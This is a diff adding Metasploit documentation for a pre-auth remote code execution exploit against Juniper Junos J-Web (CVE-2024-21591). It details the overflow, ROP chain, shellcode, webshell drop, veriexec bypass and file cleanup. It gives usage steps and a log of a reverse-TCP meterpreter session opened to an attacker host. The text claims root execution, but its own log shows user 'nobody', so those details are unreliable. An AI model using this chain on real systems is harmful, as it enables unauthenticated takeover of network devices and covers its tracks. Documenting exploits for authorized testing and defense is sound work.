Juniper CVE-2024-21591 (unauth buffer overflow)

documentation/modules/exploit/freebsd/http/junos_jweb_preauth_rce_cve_2024_21591.md

@@ -0,0 +1,85 @@
+## Vulnerable Application
+
+This module exploits CVE-2024-21591 (JSA75729), a pre-auth stack
+buffer overflow in the J-Web httpd of Juniper Junos, to execute
+a PHP payload as uid 0 over pure HTTP.
+
+A single GET with a crafted 1206-byte URI smashes the saved
+registers, pivots through an ldmia gadget into a short ROP chain and
+ARM shellcode that writes a randomized ini (auto_prepend_file)
+and webshell into /tmp inside the httpd chroot jail. Every later POST to
+login.php with a PHPRC form field then runs attacker PHP before any
+application code.
+
+Attribution note: the overflow is an unbounded strcpy of the
+request URL into a 256-byte stack buffer in mod_jauth's URL
+classifier (epilogue loads PC off the smashed stack). The same
+unbounded copy is present in 12.3R7.7, 12.3R12 and 12.3R12-S15
+(built 2020) despite strlcpy being linked - matching JSA75729's
+"out-of-bounds write, insecure function, all versions earlier than
+20.4R3-S9" on SRX/EX, and NOT the 2016 JSA10754 fix wave.
+
+mac_veriexec (loaded active enforce) denies every external exec in
+the jail, so only pure-PHP payloads work - php/meterpreter is
+recommended (its socket I/O is PHP-native and unrestricted). The
+payload is delivered as hex through a quote-free stub because httpd
+backslash-escapes quotes in form-field values. On execution it
+deletes all three dropped files, and detaches
+(pcntl_fork where available, otherwise closing the CGI stdio pipes
+so httpd finalizes the response) to keep the web interface serving
+while the session lives. Re-running the module re-fires the smash.
+
+httpd crashes during smash delivery by design and is respawned by
+httpd-gk within seconds. Verified on an EX2200 (12.3R7.7) in an
+authorized lab; the smash URI is stack-address specific, other builds
+need a rebuilt URI.
+
+## Verification Steps
+
+1. Boot the device
+1. Start msfconsole
+1. Do: `use exploit/freebsd/http/junos_jweb_preauth_rce_cve_2024_21591`
+1. Do: `set rhost [ip]`
+1. Do: `run`
+1. You should get a shell.
+
+## Options
+
+## Scenarios
+
+### Juniper Ex2200 12.3R7.7
+
+```
+msf > use exploit/freebsd/http/junos_jweb_preauth_rce_cve_2024_21591
+[*] Using configured payload php/meterpreter/reverse_tcp
+msf exploit(freebsd/http/junos_jweb_preauth_rce_cve_2024_21591) > set lhost 1.1.1.1
+lhost => 1.1.1.1
+msf exploit(freebsd/http/junos_jweb_preauth_rce_cve_2024_21591) > set lport 9899
+lport => 9899
+msf exploit(freebsd/http/junos_jweb_preauth_rce_cve_2024_21591) > set rhosts 2.2.2.2
+rhosts => 2.2.2.2
+msf exploit(freebsd/http/junos_jweb_preauth_rce_cve_2024_21591) > exploit
+[*] Started reverse TCP handler on 1.1.1.1:9899 
+[*] Payload: php/meterpreter/reverse_tcp (1662B php incl. detach/cleanup prolog, 3324B hex transport)
+[*] Trigger not live - firing smash (1206B URI), 4 attempts max
+[*] Firing smash GET (1206B weapon URI) at 2.2.2.2:80
+[*] Firing smash GET (1206B weapon URI) at 2.2.2.2:80
+[+] Weapon delivered on attempt 1 - trigger live
+[*] Wrote /tmp/d.php (129B, readback verified)
+[*] Wrote /tmp/p.ini (28B, count-verified)
+[*] Delivering payload as hex through the stub (e= field, 3324 chars)
+[+] Payload materialised at /tmp/d.php (delivery request returned HTTP 200, login page rendered)
+[*] Triggering the payload via the PHPRC prepend (POST /login.php)
+[*] Sending stage (72690 bytes) to 2.2.2.2
+[*] Meterpreter session 1 opened (1.1.1.1:9899 -> 2.2.2.2:52432) at 2026-08-20 13:41:03 -0400
+[+] Payload executed - session opened (0s)
+[+] Cleaned /tmp/p.ini, /tmp/p.php and /tmp/d.php from the target
+
+meterpreter > getuid
+Server username: nobody
+meterpreter > sysinfo
+Computer     : h00dieJuniperEx2200
+OS           : JUNOS h00dieJuniperEx2200 12.3R7.7 JUNOS 12.3R7.7 #0: 2014-06-12 14:14:29 UTC     builder@tiabeth.juniper.net:/volume/build/junos/12.3/release/12.3R7.7/obj-arm/junos/bsd/kernels/JUNIPER-EX-2200/kernel arm
+Architecture : arm
+Meterpreter  : php/linux
+```